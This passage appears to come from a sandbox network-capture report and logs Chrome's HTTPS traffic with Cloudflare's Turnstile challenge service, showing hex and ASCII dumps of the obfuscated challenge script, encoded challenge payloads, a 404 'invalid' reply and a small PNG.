2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 61 6b 7d 7d 65 6c 73 65 20 65 26 26 65 5b 68 4d 28 31 37 30 37 29 5d 3d 3d 3d 68 4d 28 31 36 30 39 29 26 26 65 5b 68 4d 28 34 39 34 29 5d 3d 3d 3d 64 5b 68 4d 28 31 37 32 36 29 5d 26 26 64 5b 68 4d 28 31 32 32 32 29 5d 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 2c 66 6f 29 7d 29 2c 66 71 3d 21 5b 5d 2c 21 65 54 28 67 49 28 39 36 37 29 29 26 26 28 66 52 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 70 2c 63 2c 64 2c 65 29 7b 69 70 3d 67 49 2c 63 3d 7b 27 54 52 64 47 58 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 7d 2c 64 3d 65 4d 5b 69 70 28 31 38 35 36 29 5d 5b 69 70 28 31 39 34 34 29 5d 7c 7c 31 65 34 2c 65 3d 63 5b 69 70 28 31 30 38 30 29 5d 28 66 50 29 2c 21 65 4d 5b 69 70 28 34 39 32 29 5d 26 Data Ascii: ak}}else e&&e[hM(1707)]===hM(1609)&&e[hM(494)]===d[hM(1726)]&&d[hM(1222)](clearInterval,fo)}),fq=![],!eT(gI(967))&&(fR(),setInterval(function(ip,c,d,e){ip=gI,c={'TRdGX':function(f){return f()}},d=eM[ip(1856)][ip(1944)]\|\|1e4,e=c[ip(1080)](fP),!eM[ip(492)]&
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 68 5e 69 7d 2c 27 44 48 58 42 68 27 3a 6a 38 28 36 33 32 29 2c 27 70 49 57 79 78 27 3a 6a 38 28 38 36 35 29 2c 27 72 67 61 41 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 4c 42 6e 72 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 43 4c 76 4f 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 67 58 49 41 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 72 77 73 5a 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 64 74 4f 64 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6d 72 65 42 63 Data Ascii: eturn h^i},'DHXBh':j8(632),'pIWyx':j8(865),'rgaAT':function(h,i){return h>i},'LBnrP':function(h,i){return i\|h},'CLvOL':function(h,i){return i==h},'gXIAB':function(h,i){return h<i},'rwsZk':function(h,i){return h\|i},'dtOdr':function(h,i){return h(i)},'mreBc
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 3b 65 6c 73 65 20 66 5b 6a 39 28 31 33 37 37 29 5d 28 67 29 28 68 2e 6a 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6f 2c 73 2c 6a 62 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 54 2c 55 2c 4e 2c 4f 2c 50 29 7b 69 66 28 6a 62 3d 6a 38 2c 78 3d 7b 7d 2c 78 5b 6a 62 28 31 36 38 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 51 2c 52 29 7b 72 65 74 75 72 6e 20 52 5e 51 7d 2c 78 5b 6a 62 28 37 37 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 51 2c 52 29 7b 72 65 74 75 72 6e 20 51 26 52 7d 2c 42 3d 78 2c 6a 62 28 31 39 33 39 29 21 3d 3d 6a 62 28 31 39 33 39 29 29 4a 5e 3d 6f 5b 6a 62 28 31 39 30 37 29 5d 28 46 29 3b 65 6c 73 65 7b 69 66 28 6e 75 6c 6c 3d 3d 6a 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 44 3d 7b 7d 2c 45 3d 7b 7d Data Ascii: ;else f[j9(1377)](g)(h.j)},'g':function(j,o,s,jb,x,B,C,D,E,F,G,H,I,J,K,L,M,T,U,N,O,P){if(jb=j8,x={},x[jb(1681)]=function(Q,R){return R^Q},x[jb(779)]=function(Q,R){return Q&R},B=x,jb(1939)!==jb(1939))J^=o[jb(1907)](F);else{if(null==j)return'';for(D={},E={}
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 43 3c 49 3b 4b 3c 3c 3d 31 2c 6f 2d 31 3d 3d 4c 3f 28 4c 3d 30 2c 4a 5b 6a 62 28 38 32 35 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 6a 62 28 31 39 30 37 29 5d 28 30 29 2c 43 3d 30 3b 38 3e 43 3b 4b 3d 64 5b 6a 62 28 31 37 34 36 29 5d 28 4b 2c 31 29 7c 31 26 50 2c 64 5b 6a 62 28 31 36 34 33 29 5d 28 4c 2c 6f 2d 31 29 3f 28 4c 3d 30 2c 4a 5b 6a 62 28 38 32 35 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 65 6c 73 65 20 69 66 28 64 5b 6a 62 28 31 33 33 32 29 5d 21 3d 3d 6a 62 28 39 39 31 29 29 54 3d 64 5b 6a 62 28 31 38 34 34 29 5d 28 64 5b 6a 62 28 31 38 34 34 29 5d 28 74 68 69 73 2e 68 5b 64 5b 6a 62 28 31 33 33 31 29 5d 28 32 32 35 2c 74 68 69 73 2e 67 29 5d 5b Data Ascii: C<I;K<<=1,o-1==L?(L=0,J[jb(825)](s(K)),K=0):L++,C++);for(P=F[jb(1907)](0),C=0;8>C;K=d[jb(1746)](K,1)\|1&P,d[jb(1643)](L,o-1)?(L=0,J[jb(825)](s(K)),K=0):L++,P>>=1,C++);}else if(d[jb(1332)]!==jb(991))T=d[jb(1844)](d[jb(1844)](this.h[d[jb(1331)](225,this.g)][

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49763	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:39 UTC	925	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/156047045:1724419407:L14tzDEDOBSKZ0TNeCHO3Q3o5larWtN6C36-ljdYwrk/8b7bc004eb3a7c8d/84b778c4aabe3e2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2767 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 84b778c4aabe3e2 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:39 UTC	2767	OUT	Data Raw: 76 5f 38 62 37 62 63 30 30 34 65 62 33 61 37 63 38 64 3d 7a 78 6f 76 69 76 2d 76 4a 76 42 76 46 76 38 4e 64 6d 4e 64 4d 4f 51 4d 51 42 72 25 32 62 51 72 64 51 4f 6a 42 57 51 6c 6a 64 59 4e 64 51 57 4d 64 56 64 30 4b 64 59 4d 58 37 64 79 49 76 51 76 6a 61 54 44 37 64 36 37 72 50 64 34 32 53 53 58 4c 44 76 6b 58 64 58 76 73 55 51 64 53 4e 69 57 5a 64 49 37 4e 32 64 4f 68 79 4b 4c 4f 64 53 4f 72 32 69 55 42 76 73 36 66 64 2d 37 64 34 2d 70 2b 35 34 64 6d 53 6c 52 55 69 53 75 69 41 64 51 62 6b 72 6e 6c 46 32 61 37 42 6d 73 45 34 79 55 6d 44 43 6a 64 38 4b 4f 64 34 4b 4a 67 6b 51 4a 37 34 76 55 6a 76 6b 36 64 6a 37 52 37 6f 4f 51 66 7a 41 4f 64 73 37 58 67 7a 6b 32 64 65 4f 64 54 64 51 47 47 69 53 5a 64 4b 4b 4a 6f 64 59 57 64 6d 4b 4a 45 58 62 2b 64 72 69 76 Data Ascii: v_8b7bc004eb3a7c8d=zxoviv-vJvBvFv8NdmNdMOQMQBr%2bQrdQOjBWQljdYNdQWMdVd0KdYMX7dyIvQvjaTD7d67rPd42SSXLDvkXdXvsUQdSNiWZdI7N2dOhyKLOdSOr2iUBvs6fd-7d4-p+54dmSlRUiSuiAdQbkrnlF2a7BmsE4yUmDCjd8KOd4KJgkQJ74vUjvk6dj7R7oOQfzAOds7Xgzk2deOdTdQGGiSZdKKJodYWdmKJEXb+driv
2024-08-23 14:21:39 UTC	779	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:39 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 154152 Connection: close cf-chl-gen: xtnzq8mhOWyZdn/wVQPxqDYIabsPIHteFWfLcirykdkw6NonRXl+QGQIjWYAhGZMri2KJj2kQRkGGe1OYihqE5JtI98ghiRrfCPY4dRKjR3tVkweTPJlnySW5qMrlf4oCvjzolbuh4awkjoBG8QdODg3hxiG8f2I5youCE7bDFopYaRDWwA6/NTevquJhdg2EadHDnjxNSvBc30AQusXJaWx3DB+dYNfpDTF+zhIINFVUQlF0VI29kEEBa/zLTgb28Ri0J3i2T2zcv/wAW4CdZweOTNDh4TNeKeG8v7c8lYlVYJJ9SNFS+gziKqyU2MUiI0urdZ39r8x3WEOH/Kzi2t4S21OCuNGHbUoUbojxa/DL9axxtQMyP/UsOriHceXqSB8MFrwNDWwzhAOHw9NOZb0JETH4ULnrHiy7EZy4fPzHvHlQNJ3Ej4WmCYHz6/2HkUIBiBMijyb4ZfozMbddx/UD+FzWnpB8rmLSNSq1+xiejBNiHQQJiddGZDFIUVP9HPac+iIAY7hzizx$dTeu7evvDzL+8u+C Server: cloudflare CF-RAY: 8b7bc00fecba4397-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:39 UTC	590	IN	Data Raw: 6a 4c 43 65 73 6f 65 56 69 62 79 72 77 4c 6d 57 70 34 36 4e 73 4a 47 72 72 4b 66 57 72 4b 65 6b 71 36 7a 47 6b 4e 4c 4f 77 62 4b 75 76 62 6d 38 73 4f 53 78 73 74 6a 62 31 64 2f 6e 36 4f 58 74 36 65 33 67 35 4b 32 79 74 4e 62 30 7a 63 66 4a 37 72 6e 4d 77 66 44 7a 32 2f 67 41 38 4e 66 43 43 75 72 59 7a 50 7a 2b 2f 4d 67 43 39 4e 4c 68 43 51 2f 75 31 51 6e 59 39 67 33 56 46 74 7a 39 48 52 73 41 41 68 73 6a 39 68 6e 72 35 75 67 41 4a 53 67 45 45 43 6b 73 43 41 59 6f 39 50 59 52 4b 66 63 54 4c 66 45 32 2f 43 41 32 4f 77 4d 63 4e 6a 38 48 48 6a 38 69 54 69 42 4c 44 30 45 78 4a 55 46 55 4d 45 55 6d 45 7a 63 77 53 46 41 5a 45 69 73 34 58 7a 4a 64 54 6c 42 64 59 54 68 5a 59 43 6c 45 54 6d 52 45 51 30 74 53 59 6b 35 56 4d 6b 6c 48 54 44 56 76 64 48 35 56 66 6e 4b Data Ascii: jLCesoeVibyrwLmWp46NsJGrrKfWrKekq6zGkNLOwbKuvbm8sOSxstjb1d/n6OXt6e3g5K2ytNb0zcfJ7rnMwfDz2/gA8NfCCurYzPz+/MgC9NLhCQ/u1QnY9g3VFtz9HRsAAhsj9hnr5ugAJSgEECksCAYo9PYRKfcTLfE2/CA2OwMcNj8HHj8iTiBLD0ExJUFUMEUmEzcwSFAZEis4XzJdTlBdYThZYClETmREQ0tSYk5VMklHTDVvdH5VfnK
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 42 51 56 47 78 64 67 6c 4e 6e 51 6b 47 42 53 47 57 48 69 49 5a 6c 68 57 39 65 6b 35 56 75 59 56 2b 55 6c 47 64 34 5a 46 6c 72 65 56 6d 58 63 33 4a 57 6c 5a 56 33 64 33 56 79 64 36 78 34 6e 59 4f 4d 68 58 71 4b 6f 6f 4b 68 6c 5a 43 46 73 49 61 55 76 6e 61 58 66 4a 6d 34 6b 49 4f 65 66 34 4b 33 78 6f 65 2b 67 70 6e 44 6d 6f 69 44 30 6f 37 50 77 37 65 53 70 72 6e 52 32 38 57 71 75 70 65 34 79 63 71 76 35 4b 4b 38 70 73 4f 6e 6e 4b 6a 69 34 39 61 35 72 75 33 76 77 73 2b 79 37 4e 62 74 7a 4f 76 79 75 72 33 33 39 4e 41 43 79 39 7a 73 39 76 6e 48 2b 51 50 66 79 67 4d 45 33 39 6e 6e 79 68 50 69 41 2b 48 51 30 76 51 4d 2b 76 48 79 45 50 50 65 32 74 63 55 46 78 58 77 4a 43 41 43 45 68 63 4e 44 69 66 32 37 51 4c 6e 46 50 45 73 42 41 62 79 4d 50 45 38 2b 44 51 66 45 Data Ascii: BQVGxdglNnQkGBSGWHiIZlhW9ek5VuYV+UlGd4ZFlreVmXc3JWlZV3d3Vyd6x4nYOMhXqKooKhlZCFsIaUvnaXfJm4kIOef4K3xoe+gpnDmoiD0o7Pw7eSprnR28Wqupe4ycqv5KK8psOnnKji49a5ru3vws+y7NbtzOvyur339NACy9zs9vnH+QPfygME39nnyhPiA+HQ0vQM+vHyEPPe2tcUFxXwJCACEhcNDif27QLnFPEsBAbyMPE8+DQfE
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 35 64 6d 42 70 66 46 74 44 57 49 39 72 61 6c 2b 41 58 33 52 39 62 6c 64 79 6a 33 69 55 65 6e 4e 2f 62 58 5a 33 59 47 4b 51 59 6f 43 6e 58 6c 75 41 70 4b 74 36 69 4b 4e 2f 69 49 4b 45 74 61 36 54 64 4b 47 61 73 35 75 31 66 4c 36 66 6b 33 6d 51 67 4a 57 53 72 70 47 68 78 6f 69 35 78 6f 61 6b 6d 4d 69 65 6f 38 6a 4a 6b 39 53 78 6f 62 4b 59 30 61 54 62 7a 38 69 35 7a 61 75 79 32 4b 2f 69 35 73 6a 49 6e 4c 2f 71 76 65 58 6c 35 63 6e 48 30 36 62 31 36 4d 6a 55 30 62 50 51 7a 4e 6a 4c 32 4e 62 61 7a 74 6e 77 2b 38 45 49 33 75 48 79 34 72 37 66 36 4d 76 50 42 39 73 56 33 2b 37 49 37 75 7a 57 37 73 30 61 45 78 72 71 47 77 41 66 45 4f 77 44 2b 65 4d 45 35 52 66 36 4c 65 67 50 47 65 76 39 4c 78 51 47 49 41 6f 59 4a 54 55 71 4a 68 63 51 4c 78 41 76 49 69 30 50 49 52 Data Ascii: 5dmBpfFtDWI9ral+AX3R9bldyj3iUenN/bXZ3YGKQYoCnXluApKt6iKN/iIKEta6TdKGas5u1fL6fk3mQgJWSrpGhxoi5xoakmMieo8jJk9SxobKY0aTbz8i5zauy2K/i5sjInL/qveXl5cnH06b16MjU0bPQzNjL2Nbaztnw+8EI3uHy4r7f6MvPB9sV3+7I7uzW7s0aExrqGwAfEOwD+eME5Rf6LegPGev9LxQGIAoYJTUqJhcQLxAvIi0PIR
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 68 49 46 5a 69 6b 70 6f 63 49 57 46 61 6f 70 75 6d 48 57 4a 58 48 56 56 65 47 2b 41 6c 48 2b 68 6b 4a 69 45 71 59 47 61 71 6f 78 71 6a 49 6c 2b 61 47 2b 45 73 37 57 54 64 6e 61 58 6b 48 6d 38 6b 49 6d 61 69 72 36 71 6c 49 79 30 6b 73 69 57 70 49 43 6d 6f 4d 6e 48 79 4b 44 53 7a 4e 4f 64 78 49 32 73 31 4b 69 4d 6d 4b 53 36 73 37 65 59 33 71 37 6a 73 4c 4b 66 31 37 53 30 34 4c 2b 6a 77 63 66 71 77 63 69 74 37 65 44 65 73 72 48 51 35 4e 48 54 32 72 66 4f 2f 73 79 35 76 2f 48 51 39 76 54 76 38 66 58 5a 78 4e 67 4f 39 38 37 6a 34 41 66 46 2f 63 7a 6c 38 73 2f 6c 32 68 7a 77 39 76 4d 4d 46 2b 72 79 34 64 38 63 48 4f 50 6d 48 66 6b 72 37 43 34 59 37 67 51 42 4a 2b 55 64 37 41 59 54 37 77 63 51 50 42 45 58 46 43 77 33 43 78 4d 43 39 6a 30 59 46 69 49 33 51 68 6f Data Ascii: hIFZikpocIWFaopumHWJXHVVeG+AlH+hkJiEqYGaqoxqjIl+aG+Es7WTdnaXkHm8kImair6qlIy0ksiWpICmoMnHyKDSzNOdxI2s1KiMmKS6s7eY3q7jsLKf17S04L+jwcfqwcit7eDesrHQ5NHT2rfO/sy5v/HQ9vTv8fXZxNgO987j4AfF/czl8s/l2hzw9vMMF+ry4d8cHOPmHfkr7C4Y7gQBJ+Ud7AYT7wcQPBEXFCw3CxMC9j0YFiI3Qho
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 49 2b 44 59 33 5a 30 62 6f 70 55 62 46 68 61 55 57 42 65 59 46 2b 59 6e 6e 4f 6d 6e 48 46 38 69 71 69 63 70 47 68 76 70 59 53 47 6b 70 4b 6a 67 61 61 4f 64 33 57 45 64 49 75 5a 76 37 71 69 74 4c 61 38 76 34 48 42 78 73 53 48 6d 71 69 6d 68 36 4f 76 6b 62 7a 4f 70 4b 43 2f 78 39 53 32 32 35 71 30 72 39 36 38 32 38 43 75 74 74 47 77 77 64 72 43 33 74 7a 73 74 75 72 6a 35 74 76 53 31 4f 7a 42 7a 64 69 76 37 50 48 73 31 73 37 34 36 2f 37 57 2b 62 37 36 38 65 62 64 41 76 76 7a 34 51 59 48 34 4d 7a 36 33 4f 62 6f 38 2b 66 65 41 4f 37 69 2b 51 7a 32 47 42 62 31 41 42 59 4f 2b 42 41 4f 37 67 58 77 2b 42 4d 72 33 76 34 66 4c 52 76 74 4a 41 33 73 4a 77 49 30 39 77 6b 55 42 53 77 78 4d 6a 66 32 4e 53 77 56 41 6a 77 6d 4e 6b 41 6c 53 68 77 38 44 43 77 77 44 55 51 64 Data Ascii: I+DY3Z0bopUbFhaUWBeYF+YnnOmnHF8iqicpGhvpYSGkpKjgaaOd3WEdIuZv7qitLa8v4HBxsSHmqimh6OvkbzOpKC/x9S225q0r96828CuttGwwdrC3tzsturj5tvS1OzBzdiv7PHs1s746/7W+b768ebdAvvz4QYH4Mz63Obo8+feAO7i+Qz2GBb1ABYO+BAO7gXw+BMr3v4fLRvtJA3sJwI09wkUBSwxMjf2NSwVAjwmNkAlShw8DCwwDUQd
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 31 35 66 48 56 7a 63 31 4a 5a 6c 6c 39 39 66 34 4f 41 67 6f 46 6b 6e 47 75 64 6e 4b 61 75 71 34 74 77 6f 34 71 6e 6a 36 6d 45 71 70 75 33 63 37 36 4c 76 4a 44 44 6d 37 4f 56 78 62 57 64 6e 5a 54 4a 67 35 32 2f 6a 71 32 6c 7a 38 33 45 73 4d 76 45 70 35 57 5a 33 4e 6e 4b 30 35 65 38 31 38 47 32 35 5a 65 77 76 65 53 36 30 72 33 4c 34 61 37 76 34 75 69 76 78 73 76 76 36 37 44 58 35 38 2b 78 2b 4c 76 59 32 4d 6e 7a 38 64 72 6b 77 75 54 68 31 76 4c 55 32 67 76 71 33 2b 63 41 7a 74 38 4c 7a 2b 62 6f 38 4f 59 43 38 65 76 71 32 67 63 50 49 42 45 58 47 76 7a 6c 47 75 55 71 46 42 30 66 4a 41 2f 33 49 41 59 4d 2f 42 45 6a 36 78 55 32 36 76 55 7a 4e 79 63 64 2b 52 67 4f 44 51 35 41 42 42 55 32 45 54 67 39 50 6b 49 56 4b 67 30 4d 4c 6c 49 6e 4a 30 56 55 43 55 56 51 53 Data Ascii: 15fHVzc1JZll99f4OAgoFknGudnKauq4two4qnj6mEqpu3c76LvJDDm7OVxbWdnZTJg52/jq2lz83EsMvEp5WZ3NnK05e818G25ZewveS60r3L4a7v4uivxsvv67DX58+x+LvY2Mnz8drkwuTh1vLU2gvq3+cAzt8Lz+bo8OYC8evq2gcPIBEXGvzlGuUqFB0fJA/3IAYM/BEj6xU26vUzNycd+RgODQ5ABBU2ETg9PkIVKg0MLlInJ0VUCUVQS
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 4a 6e 32 2b 42 67 34 36 53 6b 70 2b 62 67 71 64 38 6e 61 79 6b 68 71 4b 77 74 59 61 6b 74 4a 53 43 72 4c 65 56 6c 72 69 35 6c 35 79 58 6b 4b 4c 43 75 71 65 45 6f 61 58 4a 69 61 65 4b 6d 4c 2b 4b 78 36 75 63 73 73 2b 54 6f 5a 48 56 74 71 65 62 32 4d 69 31 6d 36 47 79 75 75 4b 6d 77 72 48 6e 71 4e 7a 6e 70 4d 4c 77 7a 4f 2f 69 76 4c 43 72 37 64 66 30 78 64 4c 74 32 4d 6e 73 31 62 76 7a 79 76 76 51 78 4e 6e 50 39 41 50 37 36 38 50 64 78 4d 34 41 35 41 50 6e 45 65 55 57 42 67 62 75 34 74 62 55 31 75 76 79 38 76 59 6b 36 79 55 62 46 78 77 57 4a 66 7a 35 35 43 63 6e 2f 53 73 73 42 65 77 31 4d 51 51 6d 39 7a 49 48 4e 6a 73 53 4e 76 72 35 4f 78 59 65 50 7a 38 2f 46 69 6b 6f 47 42 35 42 4b 41 77 51 4d 43 6c 47 45 42 38 70 51 6b 51 6d 55 68 5a 4d 58 56 38 61 55 53 Data Ascii: Jn2+Bg46Skp+bgqd8naykhqKwtYaktJSCrLeVlri5l5yXkKLCuqeEoaXJiaeKmL+Kx6ucss+ToZHVtqeb2Mi1m6GyuuKmwrHnqNznpMLwzO/ivLCr7df0xdLt2Mns1bvzyvvQxNnP9AP768PdxM4A5APnEeUWBgbu4tbU1uvy8vYk6yUbFxwWJfz55Ccn/SssBew1MQQm9zIHNjsSNvr5OxYePz8/FikoGB5BKAwQMClGEB8pQkQmUhZMXV8aUS
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 59 47 65 6d 65 71 5a 73 68 47 6d 77 63 58 75 6b 6b 59 61 77 72 4b 43 59 65 4a 57 76 76 4c 42 32 74 4a 2b 66 75 62 36 78 6c 72 6d 69 74 72 57 57 75 36 76 4b 75 35 69 74 70 59 2b 6c 30 70 61 79 6f 5a 48 45 6d 61 58 65 73 36 71 31 6d 4e 32 2b 6e 37 48 69 30 62 33 54 76 62 50 59 36 4e 37 74 70 38 53 38 72 75 50 44 79 2b 62 52 38 63 61 31 31 76 50 6d 33 37 4b 34 38 41 58 45 41 63 2f 6b 75 74 72 54 79 2f 62 72 33 41 58 68 42 51 44 38 43 78 4d 44 46 66 41 58 42 2b 6e 4f 48 78 48 33 31 68 30 52 49 4f 4d 6e 46 42 2f 31 42 68 2f 6e 43 69 73 46 37 52 33 75 48 2f 41 66 37 67 30 71 4a 67 30 5a 4d 7a 77 70 4c 6a 41 32 4b 79 78 45 44 52 77 77 42 43 51 4a 52 52 74 43 42 53 38 61 41 78 49 39 48 67 38 69 50 79 51 76 4e 7a 6b 54 4a 69 30 38 4b 6b 39 57 5a 44 63 37 5a 54 31 Data Ascii: YGemeqZshGmwcXukkYawrKCYeJWvvLB2tJ+fub6xlrmitrWWu6vKu5itpY+l0payoZHEmaXes6q1mN2+n7Hi0b3TvbPY6N7tp8S8ruPDy+bR8ca11vPm37K48AXEAc/kutrTy/br3AXhBQD8CxMDFfAXB+nOHxH31h0RIOMnFB/1Bh/nCisF7R3uH/Af7g0qJg0ZMzwpLjA2KyxEDRwwBCQJRRtCBS8aAxI9Hg8iPyQvNzkTJi08Kk9WZDc7ZT1
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 49 57 64 72 70 36 7a 64 4a 61 75 73 71 4b 68 74 32 32 76 65 37 53 6e 6c 72 36 54 73 38 42 39 6f 36 62 47 76 35 57 37 78 38 75 6a 6d 4b 7a 4c 75 6f 79 6a 6b 61 69 2f 6d 4a 65 74 6c 62 4b 32 30 4a 71 31 76 4b 2f 67 73 71 4c 6c 35 65 44 69 76 63 6a 41 36 72 6e 76 32 73 37 46 78 4f 4c 31 31 65 58 71 38 4d 62 63 38 72 7a 73 36 50 66 35 30 64 48 53 37 66 58 53 77 66 54 62 38 2b 7a 45 2f 76 6a 66 44 4e 33 37 41 65 6e 53 39 51 38 4b 37 41 30 4b 45 2b 59 68 36 2f 34 6a 45 76 49 58 4a 42 67 67 4a 4f 51 6f 48 42 7a 6f 4b 2b 38 66 4a 75 73 72 2f 68 4d 41 4a 44 4d 4b 39 6a 45 51 2f 6b 45 35 46 43 49 69 47 52 77 46 52 6a 51 57 47 52 6f 72 4c 45 51 43 4c 6b 78 49 54 45 52 43 49 55 73 77 4a 6b 73 72 57 44 74 51 56 44 6b 31 57 56 59 62 49 46 74 63 57 53 42 62 59 56 77 6f Data Ascii: IWdrp6zdJausqKht22ve7Snlr6Ts8B9o6bGv5W7x8ujmKzLuoyjkai/mJetlbK20Jq1vK/gsqLl5eDivcjA6rnv2s7FxOL11eXq8Mbc8rzs6Pf50dHS7fXSwfTb8+zE/vjfDN37AenS9Q8K7A0KE+Yh6/4jEvIXJBggJOQoHBzoK+8fJusr/hMAJDMK9jEQ/kE5FCIiGRwFRjQWGRorLEQCLkxITERCIUswJksrWDtQVDk1WVYbIFtcWSBbYVwo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49764	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:40 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/156047045:1724419407:L14tzDEDOBSKZ0TNeCHO3Q3o5larWtN6C36-ljdYwrk/8b7bc004eb3a7c8d/84b778c4aabe3e2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:40 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 23 Aug 2024 14:21:40 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: AUNTJr1FLVeSiSvjOksPqu6zX2BN1ScDNnQ=$kCTF4EjczPSmfwWD Server: cloudflare CF-RAY: 8b7bc016f8691a38-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:40 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49765	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:40 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8b7bc004eb3a7c8d/1724422899198/k6wQePlMUzTyxyC HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:40 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:40 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8b7bc0181fb443f3-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:40 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 23 08 02 00 00 00 8c c5 1a 95 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRP#IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49767	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
